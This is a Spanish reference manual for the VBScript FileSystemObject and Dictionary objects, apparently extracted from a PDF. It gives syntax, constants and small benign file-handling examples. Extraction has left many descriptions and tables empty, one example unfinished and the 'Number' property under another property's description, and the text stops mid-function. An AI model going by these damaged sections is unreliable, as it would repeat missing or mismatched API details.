Function ObtenerUnaExtension(EspecificacionDeUnidad)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
ObtenerUnaExtension = fso.GetExtensionName(EspecificacionDeUnidad)
End Function
Método GetFile
Descripción
Sintaxis
objeto.GetFile(especificaciondearchivo)
Parte Descripción
Comentarios
Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo)
Dim fso, f, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(especificaciondearchivo)
s = f.Path & "<br>"
s = s & "Creado: " & f.DateCreated & "<br>"
s = s & "Último acceso: " & f.DateLastAccessed & "<br>"
s = s & "Última modificación: " & f.DateLastModified
MostrarInformacionDeAccesoDeArchivo = s
End Function
Método GetFileName
Descripción
Devuelve el último nombre de archivo o carpeta de una ruta especificada que no forma parte de la
especificación de unidad.
Sintaxis
objeto.GetFileName(especificaciónderuta)
Parte Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 88
objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.
Comentarios
El método GetFileName devuelve una cadena de longitud cero ("") si especificaciónderuta no finaliza con
el nombre de archivo o carpeta.
Function ObtenerUnNombre(EspecificacionDeUnidad)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
ObtenerUnNombre = fso.GetFileName(EspecificacionDeUnidad)
End Function
Nota El método GetFileName sólo funciona en la cadena de ruta proporcionada. No intenta resolver la
ruta ni verifica la existencia de la ruta especificada.
Método GetFolder
Descripción
Sintaxis
objeto.GetFolder(especificaciondecarpeta)
Parte Descripción
Comentarios
El siguiente ejemplo muestra el uso del método GetFolder para devolver un objeto Folder:
By KarlosVid(ÊÇ) www.idat.byethost14.com 89
Método GetParentFolderName
Descripción
Devuelve una cadena que contiene el nombre de la carpeta principal del último archivo o carpeta de la
ruta especificada.
Sintaxis
objeto.GetParentFolderName(ruta)
Parte Descripción
ruta Requerido. La especificación de ruta para el archivo o carpeta cuyo nombre de carpeta principal se va a
devolver.
Comentarios
El método GetParentFolderName devuelve una cadena de longitud cero ("") si no hay carpeta principal
para el archivo o carpeta especificado en el argumento ruta.
Function ObtenerPrincipal(EspecificacionDeUnidad)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
ObtenerPrincipal = fso.GetParentFolderName(EspecificacionDeUnidad)
End Function
Método GetSpecialFolder
Descripción
Sintaxis
objeto.GetSpecialFolder(especificaciondecarpeta)
Parte Descripción
especificaciondecarpeta Requerido. El nombre de la carpeta especial que se va a devolver. Puede ser cualquiera de
las constantes mostradas en la sección Valores.
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 90
El argumento especificaciondecarpeta puede tener cualquiera de los siguientes valores:
Constante Valor Descripción
Comentarios
Function CrearArchivoTemporal
Dim tcarpeta, tnombre, tarchivo
Const TemporaryFolder = 2
Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder)
tnombre = fso.GetTempName
Set tarchivo = tcarpeta.CreateTextFile(tnombre)
Set CrearArchivoTemporal = tarchivo
End Function
Método GetTempName
Descripción
Devuelve un nombre de archivo o carpeta temporal generado aleatoriamente que es útil para realizar
operaciones que requieren un archivo o una carpeta temporal.
Sintaxis
objeto.GetTempName
Comentarios
El método GetTempName no crea un archivo. Sólo proporciona un nombre de archivo temporal que se
puede usar con CreateTextFile para crear un archivo.
Function CrearArchivoTemporal
Dim tcarpeta, tnombre, tarchivo
Const TemporaryFolder = 2
Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder)
tnombre = fso.GetTempName
Set tarchivo = tcarpeta.CreateTextFile(tnombre)
Set CrearArchivoTemporal = tarchivo
By KarlosVid(ÊÇ) www.idat.byethost14.com 91
End Function
Método Ítems
Descripción
Devuelve una matriz que contiene todos los elementos en un objeto Dictionary.
Sintaxis
objeto.Items
Comentarios
Método Keys
Descripción
Devuelve una matriz que contiene todas las claves existentes en un objeto Dictionary.
Sintaxis
objeto.Keys
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 92
Next
EjemploDeDic = s
End Function
Método Move
Descripción
Sintaxis
objeto.Move destino
Parte Descripción
destino Requerido. Destino al que se va a mover el archivo o carpeta. No se admiten caracteres comodín.
Comentarios
Los resultados del método Move en un objeto File o en un objeto Folder son idénticos a las operaciones
realizadas con FileSystemObject.MoveFile o FileSystemObject.MoveFolder. Sin embargo, debería
tener en cuente que los métodos alternativos son capaces de mover varios archivos o carpetas.
Método MoveFile
Descripción
Sintaxis
Parte Descripción
origen Requerido. La ruta del archivo o archivos que se van a mover. El argumento origen sólo puede contener
caracteres comodín en el último componente de la ruta.
destino Requerido. La ruta a la que se van a mover el archivo o archivos. El argumento destino no puede contener
By KarlosVid(ÊÇ) www.idat.byethost14.com 93
caracteres comodín.
Comentarios
Si origen contiene caracteres comodín o si destino termina con un separador de ruta (\), se asume que
destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo
contrario, se asume que destino es el nombre de un archivo de destino que se va a crear. En cualquier
caso, pueden ocurrir tres situaciones cuando se mueve un solo archivo:
También se produce un error si un carácter comodín que se usa en origen no coincide con ningún archivo.
El método MoveFile se detiene en el primer error que encuentra. No se intenta deshacer los cambios
antes de que se produzca el error.
Sub MoverUnArchivo(EspecificacionDeArchivo)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.MoveFile EspecificacionDeArchivo, "c:\windows\escritorio\"
End Sub
Importante Este método sólo permite mover archivos entre volúmenes si el sistema operativo lo
permite.
Método MoveFolder
Descripción
Sintaxis
Parte Descripción
origen Requerido. La ruta a la carpeta o carpetas que se van a mover. El argumento origen sólo puede contener
caracteres comodín en el último componente de la ruta.
destino Requerido. La ruta a la que se van a mover la carpeta o carpetas. El argumento destino no puede contener
caracteres comodín.
Comentarios
Si origen contiene caracteres comodín o si destino termina con un separador de rutas (\), se asume que
destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo
contrario, se asume que destino es el nombre de una carpeta de destino que se va a crear. En cualquier
caso, pueden ocurrir tres situaciones cuando se mueve una sola carpeta:
By KarlosVid(ÊÇ) www.idat.byethost14.com 94
• Si destino es un directorio, se produce un error.
También se produce un error si un carácter comodín que se usa en origen no coincide con ninguna
carpeta. El método MoveFolder se detiene en el primer error que encuentra. No se intenta deshacer los
cambios hechos antes de que ocurriera el error.
Sub MoverUnaCarpeta(EspecificacionDeUnidad)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.MoveFolder EspecificacionDeUnidad, "c:\windows\escritorio\"
End Sub
Importante Este método sólo permite mover carpetas entre volúmenes si el sistema operativo lo
permite.
Método OpenAsTextStream
Descripción
Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o
anexar datos al archivo.
Sintaxis
objeto.OpenAsTextStream([modoES, [formato]])
Parte Descripción
modoES Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading, ForWriting
o ForAppending.
formato Opcional. Uno de tres valores Tristate usados para indicar el formato del archivo abierto. Si se omite, el
archivo se abre con formato ASCII.
Valores
ForReading 1 Abre un archivo sólo para leer. No se puede escribir en ese archivo.
ForWriting 2 Abre un archivo para escribir. Si ya existe un archivo con el mismo nombre, su
contenido anterior se sobreescribe.
By KarlosVid(ÊÇ) www.idat.byethost14.com 95
TristateFalse 0 Opens the file as ASCII.
Comentarios
Function ProbarTextStream
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Dim fso, f, ts
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CreateTextFile "test1.txt" ' Crea un archivo.
Set f = fso.GetFile("test1.txt")
Set ts = f.OpenAsTextStream(ForWriting, TristateUseDefault)
ts.Write "Hola a todos"
ts.Close
Set ts = f.OpenAsTextStream(ForReading, TristateUseDefault)
ProbarTextStream = ts.ReadLine
ts.Close
End Function
Método OpenTextFile
Descripción
Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o
anexar datos al archivo.
Sintaxis
Parte Descripción
modoES Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading,
ForWriting o ForAppending.
crear Opcional. Valor de tipo Boolean que indica si se puede crear un nuevo archivo si no existe
nombredearchivo especificado. El valor es True si se crea un nuevo archivo; y es igual a False
si no se crea. El valor predeterminado es False.
formato Opcional. Uno de tres valores Tristate que se usa para indicar el formato del archivo abierto. Si
se omite, el archivo se abre como ASCII.
Valores
ForReading 1 Abre un archivo sólo para leer. No se puede escribir en ese archivo.
By KarlosVid(ÊÇ) www.idat.byethost14.com 96
ForWriting 2 Abre un archivo sólo para escribir. No se puede leer de ese archivo.
Comentarios
El siguiente código muestra el uso del método OpenTextFile para abrir un archivo para escribir texto:
Sub ProbarOpenTextFile
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True)
f.Write "Hola mundo"
f.Close
End Sub
Método Read
Descripción
Sintaxis
objeto.Read(caracteres)
Parte Descripción
Comentarios
En el siguiente ejemplo se muestra el uso del método Read para leer cinco caracteres de un archivo y
devolver la cadena resultante:
Function LeerPruebaDeArchivoDeTexto
Const ParaLeer = 1, ParaEscribir = 2, ParaAnexar = 8
Dim fso, f, Msg
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True)
f.Write "Hola mundo"
Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer)
LeerPruebaDeArchivoDeTexto = f.Read(5)
End Function
By KarlosVid(ÊÇ) www.idat.byethost14.com 97
Método ReadAll
Descripción
Sintaxis
objeto.ReadAll
Comentarios
Con archivos largos el uso del método ReadAll consume muchos recursos de memoria. Debe usar otras
técnicas para introducir un archivo, como leer un archivo línea a línea.
Function LeerArchivoDeTextoCompleto
Const ParaLeer = 1, ParaEscribir = 2
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True)
f.Write "Hola mundo"
Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer)
LeerArchivoDeTextoCompleto = f.ReadAll
End Function
Método ReadLine
Descripción
Lee una línea completa (hasta el carácter de nueva línea, sin incluirlo) desde un archivo TextStream y
devuelve la cadena resultante.
Sintaxis
objeto.ReadLine
Comentarios
En el siguiente ejemplo se muestra el uso del método ReadLine para leer una línea desde un archivo
TextStream y devolver la cadena:
Function LeerLíneaEnArchivoDeTexto
Const ForReading = 1, ForWriting = 2
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForWriting, True)
MyFile.WriteLine "Hola a todos"
MyFile.WriteLine "La rápida zorra marrón"
MyFile.Close
Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForReading)
LeerLíneaEnArchivoDeTexto = MyFile.ReadLine ' Devuelve "Hola a todos"
End Function
Método Remove
By KarlosVid(ÊÇ) www.idat.byethost14.com 98
Descripción
Sintaxis
objeto.Remove(clave)
Parte Descripción
clave Requerido. Clave asociada con el par de elemento y clave que desea quitar el objeto Dictionary.
Comentarios
Método RemoveAll
Descripción
El método RemoveAll quita todos los pares de elementos y claves de un objeto Dictionary.
Sintaxis
objeto.RemoveAll
Comentarios
Método Skip
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 99
Salta un número de caracteres especificado al leer un archivo TextStream.
Sintaxis
objeto.Skip(caracteres)
Parte Descripción
Comentarios
Los siguientes ejemplos usan el método Skip para saltar los primeros seis caracteres antes de leer un
archivo de texto:
Function SaltarArchivoDeTexto
Const ForReading = 1, ForWriting = 2
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True)
f.Write "Hola mundo"
Set f = fso.OpenTextFile("c:\prueba.txt", ForReading)
f.Skip(6)
SaltarArchivoDeTexto = f.ReadLine
End Function
Método SkipLine
Descripción
Sintaxis
objeto.SkipLine
Comentarios
Saltar una línea significa leer y pasar por alto todos los caracteres de una línea hasta el carácter de nueva
línea, incluyendo el mismo. Se produce un error si el archivo no está abierto para lectura.
Function SaltarLíneaEnArchivo
Const ParaLeer = 1, ParaEscribir = 2
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True)
f.Write "Hola mundo" & vbCrLf & "VB Script es divertido"
Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer)
f.SkipLine
Método Write
Descripción
Sintaxis
objeto.Write(cadena)
Parte Descripción
Comentarios
Las cadenas especificadas se escriben en el archivo sin el uso de espacios ni caracteres entre cada
cadena. Use el método WriteLine para escribir un carácter de nueva línea o una cadena que termine con
un carácter de nueva línea.
Function EscribirEnArchivo
Const ParaLeer = 1, ParaEscribir = 2
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True)
f.Write "Hola mundo"
Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer)
EscribirEnArchivo = f.ReadLine
End Function
Método WriteBlankLines
Descripción
Sintaxis
objeto.WriteBlankLines(lines)
Parte Descripción
lines Requerido. Número de caracteres de nueva línea que desea escribir en el archivo.
Método WriteLine
Descripción
Sintaxis
objeto.WriteLine([cadena])
Parte Descripción
cadena Opcional. El texto que desea escribir en el archivo. Si se omite, se escribe un carácter de nueva línea en el
archivo.
Comentarios
CONSTANTES
Constantes de DriveType
Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de
tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma
explícita estas constantes en el código.
Constante Valor Descripción
Removable 1 La unidad tiene soportes extraíbles. Esto incluye todas las unidades de disquetes y
muchas otras variedades de dispositivos de almacenamiento.
Fixed 2 La unidad está fija (no extraíble). Esto incluye todas las unidades de disco duro,
incluso las que son extraíbles.
Remote 3 Unidades de red. Esto incluye las unidades compartidas de cualquier lugar de la red.
RAMDisk 5 La unidad es un bloque de memoria de acceso aleatorio (RAM) en el equipo local que
se comporta como una unidad de disco.
Constantes de FileAttributte
Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de
tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma
explícita estas constantes en el código.
Constante Valor Descripción
Constantes de FileSystemObject
FileSystemObject tiene varias constantes útiles que puede utilizar en su código. Las constantes
proporcionan una manera cómoda de utilizar los valores sin tener que recordar el valor en sí. También
hace que su código sea más fácil de mentener, en caso de que cambiara alguna vez el valor de alguna de
las constantes.
Dependiendo del host de secuencias de comandos, estas constantes pueden estar ya definidas. Si es así,
use las constantes en cualquier parte de su código en lugar de los valores a los que representan. En los
casos donde el host de secuencias de comandos no haga referencia explícita a SCRRUN.DLL, tendrá que
definir estas constantes en el código antes de poder utilizarlas. Ejemplos de este caso son Microsoft
Internet Explorer y y los Servicios de Microsoft Internet Information Server (IIS).
La lista siguiente describe las diversas categorías de constantes que se proporcionan para
FileSystemObject, junto con una breve descripción:
Constantes de DriveType
Define los diversos tipos de unidad disponibles en el equipo host, como Fijo, Extraible, CD-ROM, etc.
Constantes de SpecialFolder
Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de
tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma
explícita estas constantes en el código.
Constante Valor Descripción
WindowsFolder 0 La carpeta Windows contiene los archivos instalados con el sistema operativo
Windows.
TemporaryFolder 2 La carpeta Temp se utiliza para almacenar archivos temporales. La ruta de acceso se
encuentra en la variable de entorno TMP.
PROPIEDADES
Propiedad AtEndOfLine
Descripción
Devuelve True si el puntero del archivo precede inmediatamente el marcador de final de archivo en un
archivo TextStream; en caso contrario, devuelve False. Sólo lectura.
Sintaxis
objeto.AtEndOfLine
Comentarios
La propiedad AtEndOfLine sólo se aplica a archivos TextStream que están abiertos para lectura; de lo
contrario, se produce un error.
Function LeerArchivoCompleto(especificaciondearchivo)
Const ForReading = 1
Dim fso, elArchivo, cadenadev
Set fso = CreateObject("Scripting.FileSystemObject")
Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False)
Do While elArchivo.AtEndOfLine <> True
cadenadev = elArchivo.Read(1)
Loop
elArchivo.Close
LeerArchivoCompleto = cadenadev
End Function
Propiedad AtEndOfStream
Devuelve True si el puntero del archivo está al final de un archivo TextStream; en caso contrario,
devuelve False. Sólo lectura.
Sintaxis
objeto.AtEndOfStream
Comentarios
La propiedad AtEndOfStream sólo se aplica a archivos TextStream que están abiertos para lectura, de
lo contrario, se produce un error.
Function LeerArchivoCompleto(especificaciondearchivo)
Const ForReading = 1
Dim fso, elArchivo, cadenadev
Set fso = CreateObject("Scripting.FileSystemObject")
Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False)
Do While elArchivo.AtEndOfStream <> True
cadenadev = elArchivo.ReadLine
Loop
elArchivo.Close
LeerArchivoCompleto = cadenadev
End Function
Propiedad Attributes
Descripción
Establece o devuelve los atributos de archivos o carpetas. Lectura y escritura o sólo lectura, según el
atributo.
Sintaxis
objeto.Attributes [= nuevosatributos]
Parte Descripción
nuevosatributos Opcional. Si se proporciona, nuevosatributos es el nuevo valor para los atributos del objeto
especificado.
Valores
El argumento nuevosatributos puede tener cualquiera de los siguientes valores o cualquier combinación
lógica de los siguientes valores:
Constante Valor Descripción
Comentarios
Propiedad AvailableSpace
Descripción
Devuelve la cantidad de espacio disponible para el usuario en una unidad o recurso compartido de red
especificados.
Sintaxis
objeto.AvailableSpace
Comentarios
El valor devuelto por la propiedad AvailableSpace normalmente es igual al valor devuelto por la
propiedad FreeSpace. Puede haber diferencias entre ambas en sistemas que admitan cuotas.
Function MostrarEspacioDisponible(unidadRuta)
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(unidadRuta))
s = "Drive " & UCase(unidadRuta) & " - "
s = s & d.VolumeName & "<BR>"
s = s & "Espacio disponible: " & FormatNumber(d.AvailableSpace/1024, 0)
s = s & " Kbytes"
MostrarEspacioDisponible = s
End Function
Propiedad de sólo lectura que devuelve el número de columna de la posición del carácter actual en un
archivo TextStream.
Sintaxis
objeto.Column
Comentarios
Después de escribir un carácter de nueva línea, pero antes de escribir cualquier otro carácter, Column es
igual a 1.
Function ObtenerColumna
Const ForReading = 1, ForWriting = 2
Dim fso, f, m
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True)
f.Write "Hola mundo"
f.Close
Set f = fso.OpenTextFile("c:\prueba.txt", ForReading)
m = f.ReadLine
ObtenerColumna = f.Column
End Function
Propiedad CompareMode
Descripción
Establece y devuelve el modo de comparación para comparar claves de cadenas en un objeto Dictionary.
Sintaxis
objeto.CompareMode[ = comparación]
Parte Descripción
comparación Opcional. Si se proporciona, comparación es una valor que representa el modo de comparación
usado por funciones como StrComp.
Valores
Comentarios
Se pueden usar valores mayores que 2 para hacer referencia a comparaciones que usan identificadores
locales específicos (LCID). Se produce un error si intenta cambiar el modo de comparación de una objeto
Dictionary que ya contiene datos.
La propiedad CompareMode usa los mismos valores que el argumento comparación para la función
StrComp.
Dim d
Set d = CreateObject("Scripting.Dictionary")
d.CompareMode = vbTextCompare
d.Add "a", "Atenas" ' Agrega algunas claves y elementos.
d.Add "b", "Belgrado"
d.Add "c", "Cairo"
d.Add "B", "Baltimore" ' El método Add falla en esta línea porque
' la letra b ya existe en Dictionary.
Propiedad Count
Descripción
Sintaxis
objeto.Count
Comentarios
Propiedad DateCreated
Descripción
Devuelve la fecha y hora en la que se creó el archivo o carpeta especificados. Sólo lectura.
objeto.DateCreated
Comentarios
Propiedad DateLastAccessed
DateLastAccessed
Descripción
Devuelve la fecha y hora de cuando se tuvo acceso al archivo o carpeta por última vez. Sólo lectura.
Sintaxis
objeto.DateLastAccessed
Comentarios
Importante El comportamiento de este método depende del sistema operativo en el que se esté
usando. Si el sistema operativo no proporciona información de hora, no se devolverá nada.
Propiedad DateLastModified
Descripción
Devuelve la fecha y hora cuando se modificó por última vez el archivo o carpeta especificado. Sólo
lectura.
Sintaxis
objeto.DateLastModified
Propiedad Drive
Descripción
Devuelve la letra de la unidad en la que reside el archivo o carpeta especificado. Sólo lectura.
Sintaxis
objeto.Drive
Comentarios
Propiedad DriveLetter
Descripción
Devuelve la letra de unidad de una unidad física local o de un recurso de red compartido. Sólo lectura.
Sintaxis
objeto.DriveLetter
Comentarios
La propiedad DriveLetter devuelve una cadena de longitud cero ("") si la unidad especificada no está
asociada con una letra de unidad, por ejemplo, un recurso de red compatido que no se asignó a una letra
de unidad.
Function MostrarLetraDeUnidad(unidadRuta)
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(unidadRuta))
s = "Unidad " & d.DriveLetter & ": - "
s = s & d.VolumeName & "<BR>"
s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0)
s = s & " Kbytes"
MostrarLetraDeUnidad = s
End Function
Propiedad Drives
Descripción
Devuelve una colección Drives que consta de todos los objetos Drive disponibles en la máquina local.
Sintaxis
objeto.Drives
Comentarios
Las unidades de disco removibles no necesitan tener un disco insertado para que aparezcan en la
colección Drives.
Puede iterar los miembros de la colección Drives mediante una instrucción For Each...Next como se
muestra en el siguiente código:
Function MostrarListaDeUnidades
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d in dc n = ""
s = s & d.DriveLetter & " - "
If d.DriveType = 3 Then
n = d.ShareName
ElseIf d.IsReady Then
n = d.VolumeName
End If
s = s & n & "<BR>"
Next
MostrarListaDeUnidades = s
End Function
Propiedad DriveType
Descripción
Sintaxis
objeto.DriveType
Comentarios
Propiedad Files
Descripción
Devuelve una colección Files que consta de todos los objetos File contenidos en la carpeta especificada,
incluidos los que tienen establecidos los atributos oculto y sistema.
Sintaxis
objeto.Files
Comentarios
Propiedad FileSystem
Descripción
Sintaxis
objeto.FileSystem
Comentarios
Function MostrarTipoDeSistemaDeArchivos(especificaciondeunidad)
Dim fso,d
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(especificaciondeunidad)
MostrarTipoDeSistemaDeArchivos = d.FileSystem
End Function
Propiedad FreeSpace
Descripción
Devuelve la cantidad de espacio disponible para el usuario en la unidad o recurso compartido de red
especificado. Sólo lectura.
Sintaxis
objeto.FreeSpace
Comentarios
El valor devuelto por la propiedad FreeSpace normalmente es el mismo que el valor devuelto por la
propiedad AvailableSpace. Pueden producirse diferencias entre los dos, en sistemas que admiten cuotas.
Function MostrarEspacioLibre(unidadRuta)
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(unidadRuta))
s = "Unidad " & UCase(unidadRuta) & " - "
s = s & d.VolumeName & "<BR>"
s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0)
s = s & " Kbytes"
MostrarEspacioLibre = s
End Function
Propiedad IsReady
Descripción
Devuelve True si está lista la unidad especificada; en caso contrario, devuelve False.
Sintaxis
objeto.IsReady
Para unidades de disco removible y unidades de CD-ROM, IsReady sólo devuelve True cuando el disco
adecuado está insertado y listo para acceso.
Function MostrarInformacionDeUnidad(unidadruta)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(unidadruta)
Select Case d.DriveType
Case 0: t = "Desconocida"
Case 1: t = "Removible"
Case 2: t = "Fija"
Case 3: t = "Red"
Case 4: t = "CD-ROM"
Case 5: t = "Disco RAM"
End Select
s = "Unidad " & d.DriveLetter & ": - " & t
If d.IsReady Then
s = s & "<BR>" & "Drive is Ready."
Else
s = s & "<BR>" & "Drive is not Ready."
End If
MostrarInformacionDeUnidad = s
End Function
Propiedad IsRootFolder
Descripción
Devuelve True si la carpeta especificada es la carpeta raíz; en caso contrario devuelve False.
Sintaxis
objeto.IsRootFolder
Comentarios
Propiedad Item
By KarlosVid(ÊÇ) www.idat.byethost14.com 114
Descripción
Establece o devuelve un elemento para una clave especificada en un objeto Dictionary. Para colecciones,
devuelve un elemento basado en la clave especificada. Lectura y escritura.
Sintaxis
objeto.Item(clave) [= nuevoelemento]
Parte Descripción
nuevoelemento Opcional. Sólo se usa para el objeto Dictionary; no tiene aplicación para colecciones. Si se
proporciona, nuevoelemento es el nuevo valor asociado a la clave especificada.
Comentarios
Si no se encuentra clave al cambiar un elemento, se crea una nueva clave con nuevoelemento
especificado. Si no se encuentra clave al intentar devolver un elemento existente, se crea una nueva
clave y su elemento correspondiente se deja vacío.
Function EjemploDeItem
Dim d ' Crea algunas variables
Set d = CreateObject("Scripting.Dictionary")
d.Add "a", "Atenas" ' Agrega algunas claves y elementos
d.Add "b", "Belgrado"
d.Add "c", "Cairo"
EjemploDeItem = d.Item("c")' Obtiene el elemento.
End Function
Propiedad Key
Descripción
Sintaxis
objeto.Key(clave) = nuevaclave
Parte Descripción
Comentarios
Function EjemploDeDic
Dim d ' Crea algunas variables.
Set d = CreateObject("Scripting.Dictionary")
d.Add "a", "Atenas" ' Agrega algunas claves y elementos.
d.Add "b", "Belgrado"
d.Add "c", "Cairo"
d.Key("c") = "d" ' Establece la clave para "c" como "d".
EjemploDeDic = d.Item("d") ' Devuelve el elemento asociado.
End Function
Propiedad Line
Descripción
Propiedad de sólo lectura que devuelve el número de línea actual de un archivo TextStream.
Sintaxis
objeto.Line
Comentarios
Function ObtenerLinea
Const ForReading = 1, ForWriting = 2
Dim fso, f, ra
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True)
f.Write "Hola mundo" & vbCrLf & "VB Script is fun!" & vbCrLf
Set f = fso.OpenTextFile("c:\prueba.txt", ForReading)
ra = f.ReadAll
ObtenerLinea = f.Line
End Function
Propiedad Name
Descripción
Sintaxis
objeto.Name [= nuevonombre]
Parte Descripción
Comentarios
Propiedad Number
Descripción
Devuelve el objeto de carpeta para la carpeta principal del archivo o carpeta especificados. Sólo lectura.
Sintaxis
objeto.ParentFolder
Comentarios
Propiedad Path
Descripción
Sintaxis
objeto.Path
Comentarios
Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo)
Dim fso, d, f, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(especificaciondearchivo)
s = UCase(f.Path) & "<BR>"
s = s & "Creado: " & f.DateCreated & "<BR>"
s = s & "Último acceso: " & f.DateLastAccessed & "<BR>"
s = s & "Última modificación: " & f.DateLastModified
MostrarInformacionDeAccesoDeArchivo = s
End Function
Propiedad RootFolder
Descripción
Devuelve un objeto Folder que representa la carpeta raíz de una unidad especificada. Sólo lectura.
Sintaxis
objeto.RootFolder
Comentarios
Puede tener acceso a todos los archivos y carpetas contenidos en la unidad mediante el objeto Folder
devuelto.
Function MostrarCarpetaRaiz(especificaciondeunidad)
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetDrive(especificaciondeunidad)
MostrarCarpetaRaiz = f.RootFolder
End Function
Propiedad SerialNumber
Descripción
Devuelve el número de seria decimal que se usa para identificar de forma única un volumen de disco.
Sintaxis
objeto.SerialNumber
Comentarios
Function MostrarInformacionDeUnidad(unidadruta)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta)))
Select Case d.DriveType
Case 0: t = "Desconocida"
Case 1: t = "Removible"
Case 2: t = "Fija"
Case 3: t = "Red"
Case 4: t = "CD-ROM"
Case 5: t = "Disco RAM"
End Select
s = "Unidad " & d.DriveLetter & ": - " & t
s = s & "<BR>" & "SN: " & d.SerialNumber
MostrarInformacionDeUnidad = s
End Function
Propiedad ShareName
Descripción
Sintaxis
objeto.ShareName
Comentarios
Si objeto no es una unidad de red, la propiedad ShareName devuelve una cadena de longitud cero ("").
Function MostrarInformacionDeUnidad(unidadruta)
Dim fso, d
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta)))
MostrarInformacionDeUnidad = "Unidad " & d.DriveLetter & ": - " & d.ShareName
End Function
Propiedad ShortName
Descripción
Devuelve el nombre corto usado por los programas que requieren la convención anterior de asignación de
nombres 8.3.
Sintaxis
objeto.ShortName
Comentarios
Propiedad ShortPath
Descripción
Devuelve la ruta corta usada por programas que requieren la convención de asignación de nombres 8.3.
Sintaxis
objeto.ShortPath
Comentarios
Propiedad Size
Descripción
Para archivos, devuelve el tamaño en bytes, del archivo especificado. Para carpetas, devuelve el tamaño
en bytes, de todos los archivos y subcarpetas contenidos en la carpeta.
Sintaxis
objeto.Size
Comentarios
Propiedad SubFolders
Descripción
Devuelve una colección Folders que consta de todas las carpetas contenidas en una carpeta especificada,
incluidas las que tienen establecidos los atributos oculto y sistema.
Sintaxis
objeto.SubFolders
Comentarios
Propiedad TotalSize
Descripción
Sintaxis
objeto.TotalSize
Comentarios
Propiedad Type
Descripción
Devuelve información acerca del tipo de un archivo o carpeta. Por ejemplo, para los archivos que
terminan en .TXT, se devuelve "Documento de texto".
Sintaxis
objeto.Type
objeto siempre es un objeto File o Folder.
Comentarios
El siguiente código muestra el uso de la propiedad Type para devolver un tipo de carpeta. En este
ejemplo, intente proporcionar la ruta de la Papelera de reciclaje u otro identificador único de carpeta al
procedimiento.
Function MostrarTipoDeCarpeta(especificaciondearchivo)
Dim fso, f, s
Set fso = CreateObject("Scripting.FileSystemObject")
